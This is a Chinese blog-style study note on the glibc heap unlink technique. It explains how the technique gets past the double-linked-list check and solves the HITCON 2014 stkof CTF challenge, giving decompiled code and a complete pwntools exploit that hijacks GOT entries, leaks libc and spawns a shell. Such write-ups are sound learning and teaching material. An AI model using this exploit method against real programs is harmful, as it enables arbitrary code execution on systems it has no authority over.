0%

Unlink Attack

alt

学习笔记

最近学习了unlink知识,然后将自己对unlink的理解写了下来,本来应该早就开始写的,但是本人太懒了,一直拖到现在才开始。

unlink原理

关于unlink原理在WIKI上有很详细的讲解,我这里说一下自己的理解。

当申请的chunk不属于fastbin的时候,free该chunk的时候,会检查该chunk的物理相邻低位chunk和高位chunk进行向后合并和向前合并。

unlink执行过程

1
2
3
4
FD=P->fd = target addr -0x18
BK=P->bk = expect value
FD->bk = BK,即 *(target addr-0x18+0x18)=BK=expect value
BK->fd = FD,即 *(expect value +0x10) = FD = target addr-0x18

在远古时期,只要我们将fd和bk伪造成这样,在unlink的时候我们就可以实现任一地址写了,但是因为加了检查,现实就变的很残酷了。

1
2
3
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

那么如何绕过检查呢!!!

只要我们将fd修改为P-0x18,bk修改为P-0x10就可以绕过检查了。

1
2
3
4
FD=P->fd = P-0x18
BK=P->bk = p-0x10
FD->bk = BK,即 *(P-0x18+0x18)=BK=P-0x10
BK->fd = FD,即 *(P-0x10 +0x10) = FD = P-0x18

这样我们就可以在P这个chunk的地址上写成P-0x18了。

利用条件

  • UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
  • 已知位置存在一个指针指向可进行 UAF 的 chunk

这里以一道例题来演示一下。

2014 HITCON stkof

checksec检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax@2
__int64 result; // rax@19
__int64 v5; // rcx@19
signed int v6; // [sp+Ch] [bp-74h]@9
char nptr; // [sp+10h] [bp-70h]@2
__int64 v8; // [sp+78h] [bp-8h]@1

v8 = *MK_FP(__FS__, 40LL);
alarm(0x78u);
while ( fgets(&nptr, 10, stdin) )
{
v3 = atoi(&nptr);
if ( v3 == 2 )
{
v6 = edit();
goto LABEL_14;
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
v6 = free_();
goto LABEL_14;
}
if ( v3 == 4 )
{
v6 = sub_400BA9();
goto LABEL_14;
}
}
else if ( v3 == 1 )
{
v6 = add();
goto LABEL_14;
}
v6 = -1;
LABEL_14:
if ( v6 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
result = 0LL;
v5 = *MK_FP(__FS__, 40LL) ^ v8;
return result;
}

add函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
signed __int64 add()
{
signed __int64 result; // rax@2
__int64 v1; // rcx@4
__int64 size; // [sp+0h] [bp-80h]@1
void *v3; // [sp+8h] [bp-78h]@1
char s; // [sp+10h] [bp-70h]@1
__int64 v5; // [sp+78h] [bp-8h]@1

v5 = *MK_FP(__FS__, 40LL);
fgets(&s, 16, stdin);
size = atoll(&s);
v3 = malloc(size);
if ( v3 )
{
*&::s[8 * ++dword_602100] = v3;
printf("%d\n", dword_602100, size);
result = 0LL;
}
else
{
result = 0xFFFFFFFFLL;
}
v1 = *MK_FP(__FS__, 40LL) ^ v5;
return result;
}

edit函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
signed __int64 edit()
{
signed __int64 result; // rax@2
int i; // eax@5
__int64 v2; // rcx@11
unsigned int v3; // [sp+8h] [bp-88h]@1
__int64 n; // [sp+10h] [bp-80h]@5
char *ptr; // [sp+18h] [bp-78h]@5
char index; // [sp+20h] [bp-70h]@1
__int64 v7; // [sp+88h] [bp-8h]@1

v7 = *MK_FP(__FS__, 40LL);
fgets(&index, 16, stdin);
v3 = atol(&index);
if ( v3 <= 0x100000 )
{
if ( *&s[8 * v3] )
{
fgets(&index, 16, stdin);
n = atoll(&index); // size
ptr = *&s[8 * v3];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )// 堆溢出
{
ptr += i;
n -= i;
}
if ( n )
result = 0xFFFFFFFFLL;
else
result = 0LL;
}
else
{
result = 0xFFFFFFFFLL;
}
}
else
{
result = 0xFFFFFFFFLL;
}
v2 = *MK_FP(__FS__, 40LL) ^ v7;
return result;
}

free函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
signed __int64 free_()
{
signed __int64 result; // rax@2
__int64 v1; // rcx@6
unsigned int v2; // [sp+Ch] [bp-74h]@1
char index; // [sp+10h] [bp-70h]@1
__int64 v4; // [sp+78h] [bp-8h]@1

v4 = *MK_FP(__FS__, 40LL);
fgets(&index, 16, stdin);
v2 = atol(&index);
if ( v2 <= 0x100000 )
{
if ( *&s[8 * v2] )
{
free(*&s[8 * v2]);
*&s[8 * v2] = 0LL;
result = 0LL;
}
else
{
result = 0xFFFFFFFFLL;
}
}
else
{
result = 0xFFFFFFFFLL;
}
v1 = *MK_FP(__FS__, 40LL) ^ v4;
return result;
}

在edit函数中有非常严重的堆溢出漏洞,在bss段有一个用来存放堆指针的数组,这样就满足了unlink的利用条件。

利用思路:

  1. 申请4个chunk,4个chunk大小分别是0x20,0x30,0x80,0x20,然后通过堆溢出修改chunk3触发unlink,这样原本chunk2的堆指针就被我们修改为chunk2-0x18了。
  2. 然后我们通过edit函数将chunk1和chunk3的堆指针修改为free_got和puts_got,然后再将free_got修改为puts_plt,来泄露libc
  3. 然后将free_got修改为system_addr,将chunk4的内容修改为/bin/sh\x00,然后free掉chunk4来getshell。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#! /usr/bin/env python

from pwn import *

sh=process('./stkof')
elf=ELF('./stkof')
libc=elf.libc
context.log_level='debug'
free_got=elf.got['free']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

def add(size) :
sh.sendline("1")
sh.sendline(str(size))
sh.recvuntil("OK\n")

def edit(idx,strings):
sh.sendline("2")
sh.sendline(str(idx))
sh.sendline(str(len(strings)))
sh.send(strings)
sh.recvuntil("OK\n")

def free(idx):
sh.sendline("3")
sh.sendline(str(idx))

add(0x20) #1
add(0x30) #2
add(0x80) #3
add(0x20) #4

target=0x602150
fd=target-0x18
bk=target-0x10

edit(2,p64(0)+p64(0x30)+p64(fd)+p64(bk)+'a'*0x10+p64(0x30)+p64(0x90))
free(3)

edit(2,'a'*0x10+p64(free_got)+p64(puts_got))
edit(1,p64(puts_plt))
free(2)
sh.recvuntil('OK\n')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
log.success('puts_addr: ' +hex(puts_addr))

libc_base=puts_addr-libc.symbols['puts']
log.success('libc_base: ' +hex(libc_base))
system_addr=libc_base+libc.symbols['system']
log.success('system_addr: ' +hex(system_addr))

edit(1,p64(system_addr))
edit(4,'/bin/sh\x00')
free(4)

#gdb.attach(sh)

sh.interactive()

参考链接:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/#_1

https://bbs.pediy.com/thread-247007.htm